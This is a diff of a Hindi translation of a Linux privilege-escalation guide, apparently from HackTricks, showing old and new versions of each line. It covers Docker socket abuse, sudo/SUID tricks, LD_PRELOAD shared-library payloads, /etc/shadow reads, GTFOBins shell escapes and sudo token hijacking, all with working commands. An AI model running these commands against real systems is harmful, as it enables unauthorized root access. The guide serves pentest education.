### Writable सॉकेट्स
यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम यूनिक्स सॉकेट्स के बारे में बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों के बारे में नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं।
यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम यूनिक्स सॉकेट्स क बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों क नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं।
### यूनिक्स सॉकेट्स की गणना करें
```bash
@ -481,19 +481,19 @@ socket-command-injection.md
### HTTP सॉकेट
ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं:
ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे चेक कर सकते हैं:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं।
यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ उठा सकते हैं**
### लिखने योग्य डॉकर सॉकेट
डॉकर सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट पर लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक विधियाँ यदि डॉकर CLI उपलब्ध नहीं है।
डॉकर सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक विधियाँ यदि डॉकर CLI उपलब्ध नहीं है।
#### **डॉकर CLI के साथ विशेषाधिकार वृद्धि**
यदि आपके पास डॉकर सॉकेट पर लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं:
यदि आपके पास डॉकर सॉकेट तक लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -502,7 +502,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
#### **डॉकर एपीआई का सीधे उपयोग करना**
उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी संशोधित किया जा सकता है।
उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी नियंत्रित किया जा सकता है।
1. **डॉकर इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें।
@ -536,7 +536,7 @@ Upgrade: tcp
### अन्य
ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट पर सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)।
ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker`` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट में सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)।
**डॉकर से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**:
@ -562,13 +562,13 @@ runc-privilege-escalation.md
## **D-Bus**
D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखकर डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है
यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक ब्लूटूथ डेमन से आने वाली कॉल के बारे में एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति देती है।
`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति को विस्तृत करता है।
बिना निर्दिष्ट उपयोगकर्ता या समूह वाली नीतियाँ सार्वभौमिक रूप से लागू होती हैं, जबकि "डिफ़ॉल्ट" संदर्भ नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं की गई हैं।
```xml
@ -653,8 +653,8 @@ gpg --list-keys 2>/dev/null
```
### Big UID
कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)\
**इसे शोषण करें**: **`systemd-run -t /bin/bash`**
कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\
**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`**
### Groups
@ -685,7 +685,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** पासवर्ड का उपयोग करके।
### सु ब्रूट
### Su Brute
यदि आप बहुत शोर करने की परवाह नहीं करते हैं और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है।
@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### $PATH
यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं, जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता** है $PATH में।
यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता है** $PATH में।
### SUDO और SUID
@ -726,7 +726,7 @@ sudo vim -c '!sh'
```
### SETENV
यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है:
यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित करते समय:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo निष्पादन बाईपासिंग पथ
**कूदें** अन्य फ़ाइलें पढ़ने के लिए या **सिंबलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_
**जंप** करें अन्य फ़ाइलों को पढ़ने के लिए या **साइमलिंक** का उपयोग करें। उदाहरण के लिए sudoers फ़ाइल में: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo कमांड/SUID बाइनरी बिना कमांड पथ के
यदि **sudo अनुमति** एकल कमांड को **पथ निर्दिष्ट किए बिना** दी गई है: _hacker10 ALL= (root) less_ तो आप इसे PATH वेरिएबल को बदलकर शोषण कर सकते हैं
यदि **sudo अनुमति** एकल कमांड को **पथ निर्दिष्ट किए बिना** दी जाती है: _hacker10 ALL= (root) less_ तो आप इसे PATH वेरिएबल को बदलकर शोषण कर सकते हैं
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -769,9 +769,9 @@ sudo less
### कमांड पथ के साथ SUID बाइनरी
यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** बनाने और उसे एक्सपोर्ट करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है।
यदि **suid** बाइनरी **पथ निर्दिष्ट करते हुए किसी अन्य कमांड को निष्पादित करती है**, तो आप उस कमांड के नाम से एक **फंक्शन** निर्यात करने की कोशिश कर सकते हैं जिसे suid फ़ाइल कॉल कर रही है।
उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे एक्सपोर्ट करने की कोशिश करनी चाहिए:
उदाहरण के लिए, यदि एक suid बाइनरी _**/usr/sbin/service apache2 start**_ को कॉल करती है, तो आपको फंक्शन बनाने और उसे निर्यात करने की कोशिश करनी चाहिए:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@ -780,14 +780,14 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को लोडर द्वारा सभी अन्य के पहले लोड करने के लिए किया जाता है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
**LD_PRELOAD** पर्यावरण चर का उपयोग एक या अधिक साझा पुस्तकालयों (.so फ़ाइलें) को निर्दिष्ट करने के लिए किया जाता है जिन्हें लोडर द्वारा सभी अन्य के पहले लोड किया जाना है, जिसमें मानक C पुस्तकालय (`libc.so`) भी शामिल है। इस प्रक्रिया को पुस्तकालय को प्रीलोड करना कहा जाता है।
हालांकि, सिस्टम की सुरक्षा बनाए रखने और इस सुविधा के दुरुपयोग को रोकने के लिए, विशेष रूप से **suid/sgid** निष्पादन योग्य के साथ, सिस्टम कुछ शर्तों को लागू करता है:
- लोडर उन निष्पादन योग्य के लिए **LD_PRELOAD** की अनदेखी करता है जहाँ वास्तविक उपयोगकर्ता आईडी (_ruid_) प्रभावी उपयोगकर्ता आईडी (_euid_) से मेल नहीं खाती।
- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid होते हैं।
- suid/sgid वाले निष्पादन योग्य के लिए, केवल मानक पथों में पुस्तकालयों को प्रीलोड किया जाता है जो भी suid/sgid हैं।
अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकार के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है।
अधिकार वृद्धि तब हो सकती है जब आपके पास `sudo` के साथ कमांड निष्पादित करने की क्षमता हो और `sudo -l` का आउटपुट **env_keep+=LD_PRELOAD** कथन को शामिल करता हो। यह कॉन्फ़िगरेशन **LD_PRELOAD** पर्यावरण चर को बनाए रखने और इसे मान्यता प्राप्त करने की अनुमति देता है, भले ही कमांड `sudo` के साथ चलाए जाएं, जो संभावित रूप से उच्चाधिकारों के साथ मनमाने कोड के निष्पादन की ओर ले जा सकता है।
```
Defaults env_keep += LD_PRELOAD
```
@ -809,7 +809,7 @@ system("/bin/bash");
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
अंत में, **privileges बढ़ाएँ** चलाते हुए
अंततः, **privileges बढ़ाएँ** चलाते हुए
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
@ -892,31 +892,35 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में इंजेक्ट कर सकते हैं।
[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप केवल **आर्गुमेंट्स** को एक कमांड में **इंजेक्ट** कर सकते हैं।
यह परियोजना उन वैध फ़ंक्शनों को इकट्ठा करती है जो Unix बाइनरीज़ के होते हैं, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल्स को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
यह परियोजना उन Unix बाइनरीज़ के वैध फ़ंक्शनों को इकट्ठा करती है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-एक्सप्लॉइटेशन कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है।
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
यदि आप `sudo -l` तक पहुँच सकते हैं, तो आप उपकरण [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) का उपयोग कर सकते हैं यह जांचने के लिए कि क्या यह किसी भी sudo नियम का शोषण करने का तरीका खोजता है।
### Sudo टोकन का पुन: उपयोग
### Sudo टोकन का पुन: उपयोग करना
उन मामलों में जहां आपके पास **sudo एक्सेस** है लेकिन पासवर्ड नहीं है, आप **sudo कमांड निष्पादन की प्रतीक्षा करके और फिर सत्र टोकन को हाईजैक करके** विशेषाधिकार बढ़ा सकते हैं।
विशेषाधिकार बढ़ाने की आवश्यकताएँ:
- आपके पास पहले से "_sampleuser_" के रूप में एक शेल है
- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह sudo टोकन की अवधि है जो हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देत है)
- आपके पास "_sampleuser_" उपयोगकर्ता के रूप में पहले से ही एक शेल है
- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह वह अवधि है जिसमें sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देत है)
- `cat /proc/sys/kernel/yama/ptrace_scope` 0 है
- `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं)
@ -924,7 +928,7 @@ system("/bin/bash -p");
यदि ये सभी आवश्यकताएँ पूरी होती हैं, तो **आप विशेषाधिकार बढ़ा सकते हैं:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने के लिए** कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें):
- **पहला शोषण** (`exploit.sh`) _/tmp_ में बाइनरी `activate_sudo_token` बनाएगा। आप इसका उपयोग अपने सत्र में **sudo टोकन को सक्रिय करने** के लिए कर सकते हैं (आपको स्वचालित रूप से एक रूट शेल नहीं मिलेगा, `sudo su` करें):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -935,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- तीसरा **एक्सप्लॉइट** (`exploit_v3.sh`) एक **sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है**
- तीसरा **एक्सप्लॉइट** (`exploit_v3.sh`) एक **sudoers फ़ाइल** बनाएगा जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है**
```bash
bash exploit_v3.sh
sudo su
@ -943,14 +947,14 @@ sudo su
### /var/run/sudo/ts/\<Username>
यदि आपके पास फ़ोल्डर में या फ़ोल्डर के अंदर बनाए गए किसी भी फ़ाइल पर **लेखन अनुमतियाँ** हैं, तो आप बाइनरी [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) का उपयोग करके **एक उपयोगकर्ता और PID के लिए sudo टोकन बना सकते हैं**।\
उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास उस उपयोगकर्ता के रूप में PID 1234 के साथ एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने:
उदाहरण के लिए, यदि आप फ़ाइल _/var/run/sudo/ts/sampleuser_ को अधिलेखित कर सकते हैं और आपके पास PID 1234 के साथ उस उपयोगकर्ता के रूप में एक शेल है, तो आप **sudo विशेषाधिकार प्राप्त कर सकते हैं** बिना पासवर्ड जाने:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
फाइल `/etc/sudoers` और `/etc/sudoers.d` के अंदर की फाइलें यह निर्धारित करती हैं कि कौन `sudo` का उपयोग कर सकता है और कैसे। ये फाइलें **डिफ़ॉल्ट रूप से केवल उपयोगकर्ता रूट और समूह रूट द्वारा पढ़ी जा सकती हैं**।\
**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सकेंगे
**यदि** आप इस फाइल को **पढ़** सकते हैं तो आप **कुछ दिलचस्प जानकारी प्राप्त कर सकते हैं**, और यदि आप कोई फाइल **लिख** सकते हैं तो आप **अधिकार बढ़ा** सक हैं।
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -998,11 +1002,11 @@ sudo ls
### ld.so
फाइल `/etc/ld.so.conf` **यह इंगित करती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf`
फाइल `/etc/ld.so.conf` **यह दर्शाती है कि लोड की गई कॉन्फ़िगरेशन फ़ाइलें कहाँ से हैं**। आमतौर पर, इस फ़ाइल में निम्नलिखित पथ होता है: `include /etc/ld.so.conf.d/*.conf`
इसका मतलब है कि `/etc/ld.so.conf.d/*.conf` से कॉन्फ़िगरेशन फ़ाइलें पढ़ी जाएँगी। ये कॉन्फ़िगरेशन फ़ाइलें **अन्य फ़ोल्डरों की ओर इशारा करती हैं** जहाँ **पुस्तकालयों** को **खोजा** जाएगा। उदाहरण के लिए, `/etc/ld.so.conf.d/libc.conf` की सामग्री है `/usr/local/lib`**इसका मतलब है कि सिस्टम `/usr/local/lib` के अंदर पुस्तकालयों की खोज करेगा**
यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो इंगित किए गए हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\
यदि किसी कारणवश **किसी उपयोगकर्ता के पास लिखने की अनुमति है** किसी भी पथ पर जो संकेतित हैं: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` के अंदर कोई भी फ़ाइल या `/etc/ld.so.conf.d/*.conf` के अंदर कॉन्फ़िगरेशन फ़ाइल के भीतर कोई भी फ़ोल्डर, तो वह विशेषाधिकार बढ़ाने में सक्षम हो सकता है।\
देखें **इस गलत कॉन्फ़िगरेशन का लाभ कैसे उठाएँ** निम्नलिखित पृष्ठ पर:
{{#ref}}
@ -1029,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
फिर `/var/tmp` में एक बुर लाइब्रेरी बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
फिर `/var/tmp` में एक बुर लाइब्रेरी बनाएं `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1045,7 +1049,7 @@ execve(file,argv,0);
## क्षमताएँ
Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** करता है। इन इकाइयों में से प्रत्येक को फिर स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\
क्षमताओं के बारे में अधिक जानने के लिए और उन्हें कैसे दुरुपयोग किया जा सकता है, निम्नलिखित पृष्ठ पढ़ें:
अधिक जानकारी के लिए **क्षमताओं और उन्हें कैसे दुरुपयोग किया जा सकता है** पढ़ें:
{{#ref}}
linux-capabilities.md
@ -1053,12 +1057,12 @@ linux-capabilities.md
## निर्देशिका अनुमतियाँ
एक निर्देशिका में, **"कार्यक्रम" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\
**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है।
एक निर्देशिका में, **"कार्यक्रम"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\
**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइलें** **बना** सकता है।
## ACLs
